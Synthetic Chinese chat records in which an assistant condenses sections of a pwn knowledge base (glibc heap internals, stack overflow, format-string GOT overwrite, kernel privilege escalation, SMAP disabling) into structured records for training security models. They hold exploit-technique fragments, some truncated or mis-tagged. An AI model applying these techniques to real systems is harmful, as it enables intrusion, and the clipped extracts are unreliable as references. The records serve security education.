[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`
标题：Chunk Extend and Overlapping
章节：trigger system("/bin/sh") > 2015 hacklu bookstore > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ``shell ➜ 2015_hacklu_bookstore git:(master) file books books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, st...
- 可以看出该程序是动态链接的 64 位程序，主要开启了 Canary 与 NX 保护。

关键术语：
- 堆
- 栈
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ 2015_hacklu_bookstore git:(master) file books`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

trigger system("/bin/sh")
2015 hacklu bookstore
基本信息

Chunk Extend and Overlapping


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「sysmalloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > sysmalloc
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“sysmalloc”展开。
- 正如该函数头的注释所言，该函数用于当前堆内存不足时，需要向系统申请更多的内存。
- ``c / sysmalloc handles malloc cases requiring more memory from the system.
- On entry, it is assumed that av->top does not have enough space to service request for nb bytes, thus requiring that av->top be extended or replaced. / ``

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 6 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

sysmalloc

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「SWITCH_TO_USER_CR3_STACK」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`
标题：KPTI - Kernel Page Table Isolation
章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 通过分析内核态到用户态切换的代码，我们可以得知，页表的切换主要靠SWITCH_TO_USER_CR3_STACK 汇编宏。
- 那么如果我们可以控制内核执行返回用户态时所执行的切换页表的代码片段，也就可以正常地返回到用户态。
- 在开启 KPTI 机制后，用户态进入到内核态时，会进行页表切换；
- 内核返回到用户态主要有两种方式：iret 和 sysret。

关键术语：
- 栈
- pwn
- linux
- kernel-mode
- defense
- code:assembly

代码/命令片段线索：
- assembly: 32 行，首行 `.macro SWITCH_TO_USER_CR3_STACK scratch_reg:req`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

SWITCH_TO_USER_CR3_STACK

KPTI - Kernel Page Table Isolation
Attack KPTI
SWITCH_TO_USER_CR3_STACK

栈 pwn linux kernel-mode defense code:assembly

KPTI - Kernel Page Table Isolation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「基本示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`
标题：栈溢出原理
章节：栈溢出原理 > 基本示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本示例”展开。
- ^ /tmp/ccPU8rRA.o：在函数‘vulnerable’中： stack_example.c:(.text+0x27): 警告： the gets' function is dangerous and should not be used.
- 那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法，请自行 github)，这里利用 pwntools 的代码如下： ``python ##coding=utf8 from pwn import *
- 最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址，当然需要确保这个地址所在的段具有可执行权限。
- 我们利用如下命令对其进行编译 `shell ➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example stack_example.c: In function ‘vulnerable’: stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration] gets(s);
- 它从不检查输入字符串的长度，而是以回车来判断输入是否结束，所以很容易可以导致栈溢出， > 历史上，莫里斯蠕虫*第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

关键术语：
- 边界/溢出
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:c
- code:shell
- code:text
- code:asm

代码/命令片段线索：
- C: 18 行，首行 `#include <stdio.h>`
- shell: 7 行，首行 `➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example`
- plain: 6 行，首行 `➜ stack-example checksec stack_example`
- C: 6 行，首行 `int vulnerable()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本示例

边界/溢出 堆 栈 AI安全 漏洞利用 pwn linux user-mode stackoverflow code:c code:shell code:text code:asm

栈溢出原理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「提供用户态接口」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`
标题：编写一个 Loadable Kernel Module
章节：Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]> > 提供用户态接口
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“提供用户态接口”展开。
- 接下来我们为我们的内核模块添加可供用户态应用程序交互的方式，一个比较常见的方式是我们的内核模块在载入后创建一个虚拟文件节点，用户态应用程序打开该节点后通过 read() 、 write() 、 ioctl() 等系统调用进行交互。
- 本节我们简单介绍如何创建一个可供用户态交互的 procfs （ Process file system ）的文件节点。

关键术语：
- pwn
- linux
- kernel-mode
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

提供用户态接口

Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>

编写一个 Loadable Kernel Module


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「system('/bin/sh')」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > system('/bin/sh')
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“system('/bin/sh')”展开。
- 这里我利用了 pwntools 中的 fmtstr\_payload 函数，比较方便获取我们希望得到的结果，有兴趣的可以查看官方文档尝试。
- 比如这里 fmtstr\_payload(7, {puts\_got: system\_addr}) 的意思就是，我的格式化字符串的偏移是 7，我希望在 puts\_got 地址处写入 system\_addr 地址。
- show_dir() sh.interactive() ``` 注意 - 我在获取 puts 函数地址时使用的偏移是 8，这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

system('/bin/sh')

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「下一块不是top chunk-前向合并-合并高地址chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`
标题：释放内存块
章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 下一块不是top chunk-前向合并-合并高地址chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“下一块不是top chunk-前向合并-合并高地址chunk”展开。
- 需要注意的是，如果下一块不是 top chunk ，则合并高地址的 chunk ，并将合并后的 chunk 放入到unsorted bin中。
- ``c++ // 如果下一个chunk不是top chunk if (nextchunk !
- = av->top) { / get and clear inuse bit / // 获取下一个 chunk 的使用状态 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
- nextinuse) { unlink(av, nextchunk, bck, fwd);
- } else clear_inuse_bit_at_offset(nextchunk, 0);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 38 行，首行 `// 如果下一个chunk不是top chunk`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

下一块不是top chunk-前向合并-合并高地址chunk

释放内存块
_int_free
合并非 mmap 的空闲 chunk
下一块不是top chunk-前向合并-合并高地址chunk

释放内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack retaddr > 例子 > 确定偏移
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定偏移”展开。
- 输入用户名 aaaaaaaa，密码随便输入，断点下在输出密码的那个 printf(&a4 + 4) 函数处 ``text Register Account first!
- 3.QUit sangebaimao:( >error options 1.Sh0w Account Infomation!
- 3.QUit sangebaimao:( >1 ...
- Input your username(max lenth:20): aaaaaaaa Input your password(max lenth:20): %p%p%p%p%p%p%p%p%p%p Register Success!
- 1.Sh0w Account Infomation!

关键术语：
- 栈
- 密码学
- AI安全
- pwn
- linux
- user-mode
- fmtstr
- code:text

代码/命令片段线索：
- text: 15 行，首行 `Register Account first!`
- text: 18 行，首行 `─────────────────────────────────────────────────────────[ code:i386:x86-64 ]────`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定偏移

栈 密码学 AI安全 pwn linux user-mode fmtstr code:text

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md` 中的章节「关闭」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md`
标题：用户数据不可访问
章节：用户数据不可访问 > x86 - SMAP - Supervisor Mode Access Protection > 开启与关闭 > 关闭
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 在 /etc/default/grub 的如下两行中添加 nosmap `` GRUB_CMDLINE_LINUX_DEFAULT="quiet" GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz" ` 然后运行 update-grub ，重启系统就可以关闭 smap。
- 如果是使用 qemu 启动的内核，我们可以在 -append 选项中添加 nosmap` 来关闭 SMAP。

关键术语：
- pwn
- linux
- kernel-mode
- defense

代码/命令片段线索：
- plain: 2 行，首行 `GRUB_CMDLINE_LINUX_DEFAULT="quiet"`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

关闭

x86 - SMAP - Supervisor Mode Access Protection

用户数据不可访问


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`
标题：用 userfaultfd 创造条件竞争
章节：用 userfaultfd 创造条件竞争 > Reference
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Reference”展开。
- > 【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF > > linux kernel pwn学习之条件竞争(二)userfaultfd > > https://zhuanlan.zhihu.com/p/385645268 > > https://www.cjovi.icu/WP/1455.html > > https://www.cjovi.icu/WP/1468.html > > 从内核到用户空间(1) — 用户态缺页处理机制...

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Reference

AI安全 漏洞利用 pwn linux kernel-mode exploitation

用 userfaultfd 创造条件竞争


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「考虑 mmap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define GLRO(name) _##name > 考虑 mmap
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“考虑 mmap”展开。
- Going above 512k (i.e., 1M for new heaps) wastes too much address space. / #if __WORDSIZE == 32 #define DEFAULT_MMAP_THRESHOLD_MAX (512 1024) #else #define DEFAULT_MMAP_THRESHOLD_MAX (4 1024 1024 sizeof(long)) #endif #endif ` 下面为这部分代码，目前不是我们关心的重点，可以暂时跳过。
- = MAP_FAILED) { / The offset to the start of the mmapped region is stored in the prev_size field of the chunk.
- 正如开头注释所言如果满足如下任何一种条件 1. 没有分配堆。
- This allows us to adjust returned start address to meet alignment requirements here and in memalign(), and still be able to compute proper address argument for later munmap in free() and realloc(). / if (MALLOC_ALIGNMENT == 2 SIZE_SZ) { / For glibc, chunk2m...
- 2. 申请的内存大于 mp_.mmap_threshold，并且mmap 的数量小于最大值，就可以尝试使用 mmap。

关键术语：
- 堆
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 15 行，首行 `static struct malloc_par mp_ = {`
- c: 21 行，首行 `#ifndef DEFAULT_MMAP_THRESHOLD`
- c: 63 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

考虑 mmap

堆 ROP/JOP AI安全 pwn linux user-mode heap code:c

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「slab allocator」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`
标题：内核堆概述
章节：内核堆概述 > slab allocator
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- slab allocator 则是更为细粒度的内存管理器，其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的对象（object）返还给上层调用者来实现更为细粒度的内存管理。
- slab allocator 一共有三种版本： - slab（最初的版本，机制比较复杂，效率不高） - slob（用于嵌入式等场景的极为简化版本） - slub（优化后的版本，现在的通用版本）

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

slab allocator

堆 漏洞利用 pwn linux kernel-mode exploitation

内核堆概述


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「ida 里定位」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`
标题：Change Others
章节：Change Others > 改代码 > 修改 vDSO 代码 > ida 里定位
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“ida 里定位”展开。
- } ` 2. 可以看到 vdso_image_64 和 vdso_image_x32。
- init_vdso+1↓o ` 3. 点击 raw_data 即可知道 64 位 vDSO 在内核镜像中的地址，可以看到，vDSO 确实是以页对齐的。
- F ` 从最后的符号来看，我们也可以直接使用 raw_data` 来寻找 vDSO。
- 1. 在 ida 里定位 init_vdso 函数的地址 ``c __int64 init_vdso() { init_vdso_image(&vdso_image_64 + 0x20000000);
- init_vdso_image(&vdso_image_x32 + 0x20000000);

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- aim
- code:c

代码/命令片段线索：
- c: 10 行，首行 `__int64 init_vdso()`
- plain: 3 行，首行 `.rodata:FFFFFFFF81A01300 public vdso_image_64`
- plain: 4 行，首行 `.data:FFFFFFFF81E04000 raw_data db 7Fh ;  ; DATA XREF: .rodata:vdso_image_64↑o`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

ida 里定位

Change Others


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`
标题：简介
章节：简介 > 常用代码模板
路径分类：pwn / pwn/linux/kernel-mode
分块：4/5

核心知识点：
- 本节主题围绕“常用代码模板”展开。
- The return val should be the offset of the buf, -1 for failure @param finder_args your own function's args @return size_t kernel addr of content to find, -1 for failure / size_t ldt_seeking_memory(void (ldt_momdifier)(void, size_t), void momdifier_args, uin...
- } else { / parent / wait(NULL);
- It should be like size_t func(void args, char buf) and the buf is where we store the data from kernel in ldt_seeking_memory().
- / read data by the child process / pipe(pipe_fd);
- fork()) { / child / syscall(SYS_modify_ldt, 0, buf, 0x8000);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常用代码模板

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`
标题：Cross-Cache UAF
章节：Cross-Cache UAF > 简介
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- Cross-Cache UAF 又称作 Cross-Cache attack，在这个场景下我们通常拥有对某个特定内核对象的 UAF，但该对象本身及与其来自相同 kmem_cache 的内核对象都不具有足够的使得我们可以完成内核利用的能力，此时我们就可以考虑将其对应的 SLUB page 释放回 buddy system，再在另外一个 kmem_cache 上做堆喷将该 SLUB page 取回，从而将 UAF 漏洞迁移到另一种内核对象上。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

UAF 堆 漏洞利用 pwn linux kernel-mode exploitation

Cross-Cache UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「流程分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`
标题：House of Pig
章节：House of Pig > 例题 > XCTF-FINAL-2021 house of pig > 流程分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“流程分析”展开。
- ` 把这两个结构体补全后，程序的流程就会容易分析许多，可以发现主要的漏洞是在改变猪猪的时候，备份和更新结构体时未对 des_exist_sign[24] 数组更新 [图片文件: ./figure/backup-operation.png] [图片文件: ./figure/copy-operation.png] 要触发这个未更新的漏洞需要更改角色，要通过一个 check_password 的操作。
- 整个程序中不存在 malloc 函数，全部是 calloc，由此函数的不从 tcache 中取出 chunk 的性质，且不可以申请 fastbin 范围中的 chunk，导致利用比较困难。
- `python def change_rol(role): sh.sendlineafter("Choice: ",'5') if (role == 1): sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c") if (role == 2): sh.sendlineafter("user:\n","B\x01\x87\xc3\x19") if (role == 3): sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32") ``...
- 首先，经过大胆猜测可以分析出每只猪的结构体结构 ``cpp struct PIG { char des_ptr[24];
- [图片文件: ./figure/checkpassword-operation.png] 也就是需要输入三个 md5 值之一的原值，注意到最后一个 md5 被 '\x00' 截断了，所以只要前两位相同即可，可以尝试使用爆破等方法通过此处的检测，下面是一种方法。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:cpp
- code:python

代码/命令片段线索：
- cpp: 7 行，首行 `struct PIG`
- cpp: 22 行，首行 `struct ALL_PIGS`
- python: 8 行，首行 `def change_rol(role):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

流程分析

House of Pig
例题
XCTF-FINAL-2021 house of pig
流程分析

UAF 堆 漏洞利用 pwn linux user-mode heap code:cpp code:python

House of Pig


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：endif
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“endif”展开。
- The maximum size must be a power of two, for fast determination of which heap belongs to a chunk.
- endif / HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps that are dynamically created for multi-threaded programs.
- It should be much larger than the mmap threshold, so that requests with a size just below that threshold can be fulfilled without creating too many heaps. / /**************************************************************************/ / A heap is a single co...
- It is allocated with mmap() and always starts at an address aligned to HEAP_MAX_SIZE. / typedef struct _heap_info { mstate ar_ptr;
- `` 该结构主要是描述堆的基本信息，包括 - 堆对应的 arena 的地址 - 由于一个线程申请一个堆之后，可能会使用完，之后就必须得再次申请。

关键术语：
- 堆
- ROP/JOP
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

endif

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`
标题：用 userfaultfd 创造条件竞争
章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > 利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 在利用过程当中我们还需要注意两点： - 由于题目环境存在多个 CPU core，因此我们应当使用 sched_setaffinity() 将进程绑定到指定核心上，从而确保内核对象分配的稳定性，而无需进行堆喷射 - tty_struct 的结构也被我们所破坏了，在完成提权之后我们应该将其内容恢复原样
- 这里引用原文 > 控制 rip 之后，下一步就是绕过 SMEP 和 SMAP 了，这里介绍一种在完全控制了 tty 对象的情况下非常好用的 trick，完全不用 ROP，非常简单，且非常稳定（我们的 exploit 在利用成功和可以正常退出程序，甚至关机都不会触发 kernel panic）。
- （如果还需要禁用 SELinux 之类的，再找一个任意地址写 0 的 gadget 即可，很容易找） 利用这个原语就可以比较容易的任意函数执行了。
- 不过相比于传统的构造冗长的栈迁移的 ROP chain，长亭在 WP 中提到了一个很有趣的 trick，原文链接。
- 考虑到我们提权需要做的事情只是 commit_creds(prepare_kernel_cred(0))，完全可以用两次上述的函数调用原语实现。
- 文件: ./figure/work-for-cpu.jpg] > > 其编译后大概长这样： > > [图片: img;

关键术语：
- UAF
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用

用 userfaultfd 创造条件竞争
例题：QWB2021-notebook
利用

UAF 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation

用 userfaultfd 创造条件竞争


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「程序利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 程序利用
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“程序利用”展开。
